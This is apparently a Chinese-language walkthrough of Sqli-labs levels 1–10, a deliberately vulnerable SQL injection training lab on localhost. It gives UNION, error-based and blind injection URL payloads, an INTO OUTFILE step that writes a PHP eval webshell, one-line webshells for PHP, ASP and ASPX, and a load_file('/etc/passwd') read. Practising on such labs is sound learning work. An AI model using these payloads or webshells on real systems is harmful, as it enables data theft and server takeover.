Sqli-labs 是一个开源且全面的 SQL 注入练习靶场,手工注入必备的练习环境
less-1
源码分析
# 单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持联合、报错、布尔盲注、延时盲注
if true:
输出查询内容
else:
print_r(mysql_error());
输入:
http://localhost/sqli/Less-1/?id=1
http://localhost/sqli/Less-1/?id=1' #报错
http://localhost/sqli/Less-1/?id=1' --+ #回显正常
判断有多少列字段
http://localhost/sqli/Less-1/?id=1' order by 4--+ #报错
http://localhost/sqli/Less-1/?id=1' order by 3--+ #回显正常
判断有三列数据
使用union操作符,union操作符使用的前提就是必须字段数要跟前面的字段数相同
确定回显位置
http://localhost/sqli/Less-1/?id=-1' union select 1,2,3--+
查看当前库和当前用户
http://localhost/sqli/Less-1/?id=-1' union select 1,database(),user()--+
less-2
输入
http://localhost/sqli/Less-2/?id=1 #回显正常
http://localhost/sqli/Less-2/?id=1' #报错
http://localhost/sqli/Less-2/?id=1 --+ #回显正常
闭合与less-1不同,利用方式与less-1相同
union查询
http://localhost/sqli/Less-1/?id=-1 union select 1,2,3--+
less-3
输入
http://localhost/sqli/Less-2/?id=1 #回显正常
http://localhost/sqli/Less-2/?id=1' #报错
http://localhost/sqli/Less-2/?id=1') --+ #回显正常
闭合与less-1不同,利用方式与less-1相同
union查询
http://localhost/sqli/Less-1/?id=-1') union select 1,2,3--+
less-4
输入
http://localhost/sqli/Less-2/?id=1 #回显正常
http://localhost/sqli/Less-2/?id=1' #报错
http://localhost/sqli/Less-2/?id=1") --+ #回显正常
闭合与less-1不同,利用方式与less-1相同
union查询
http://localhost/sqli/Less-1/?id=-1") union select 1,2,3--+
less-5
源码分析
# 直接单引号拼接
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# 支持报错、布尔盲注、延时盲注
if true:
输出 You are in...........
else:
print_r(mysql_error());
因为不输出查询的结果,这就导致不可以使用联合查询的注入方式,但是并不影响正常使用报错、布尔盲注和延时盲注,除了不能联合查询注入,其他和 Less-1 利用方式一致.。
报错注入
http://localhost/sqli/Less-5/?id=1' and
updatexml(1,concat(0x7e,version(),0x7e),1)--+CONCAT(str1,str2,…)
查询用户
##updatexml函数
http://localhost/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
##extractvalue函数
http://localhost/sqli/Less-5/?id=1' and extractvalue(1,concat(0x5e,user()))--+
其他方法,下次会补充。
less-6
和 Less-5 利用方式一致,只是闭合方式不一样,把引号换成双引号。
less-7
//print_r(mysql_error())
与less-5不同less-7关闭了报错回显,所以无法使用报错注入.
输入
http://localhost/sqli/Less-7/?id=1 #回显正常
http://localhost/sqli/Less-7/?id=1' #回显错误
http://localhost/sqli/Less-7/?id=1'))--+ #回显正常
通过提示use outfile,考虑写入一句话木马
通过less-2获取数据库路径
http://localhost/sqli/Less-2/?id=-1 union select 1,@@basedir,@@datadir
##basedir()指定了安装MYSQL的安装路径
##datadir()指定了安装MYSQL的数据文件路径
接着写入一句话木马
http://localhost/sqli/Less-7/?id=-1')) union select 1,2,'<?php eval(@$_POST["admin"]);?>' into outfile"D:\\phpstudy_pro\\WWW\\sqli\\Less-7\\hack.php"--+
虽然显示报错,我们使用蚁剑尝试连接.
less-7同样支持盲注
补充:
load_file()函数读文件操作
例:select load_file('/etc/passwd')
into outfile写文件操作
例:select '<?php phpinfo();?>' into outfile 'c:\wwwroot\1.php'
一句话木马:
php的一句话木马: <?php @eval($_POST['password']);?>
asp的一句话是: <%eval request ("password")%>
aspx的一句话是: <%@ Page Language="password"%> <%eval(Request.Item["password"],"unsafe");%>
less-8
输入
http://localhost/sqli/Less-8/?id=1 #回显正常
http://localhost/sqli/Less-8/?id=1' #无回显
http://localhost/sqli/Less-8/?id=1'--+ #回显正常
盲注测试
http://localhost/sqli/Less-8/?id=1' and substr(database(),1,1)='s' --+
这个payload作用是查询当前数据库名的第一个字母是不是s,如果是则页面返回正常,否则返回异常,以此类推,可以通过这个方式去遍历得到数据库中的所有数据
使用bp遍历
对结果进行筛选和排序可以得到库名security
less-9
和 Less-8 注入方式一致
less-10
和 Less-8 注入方式一致,只是拼接方式不一样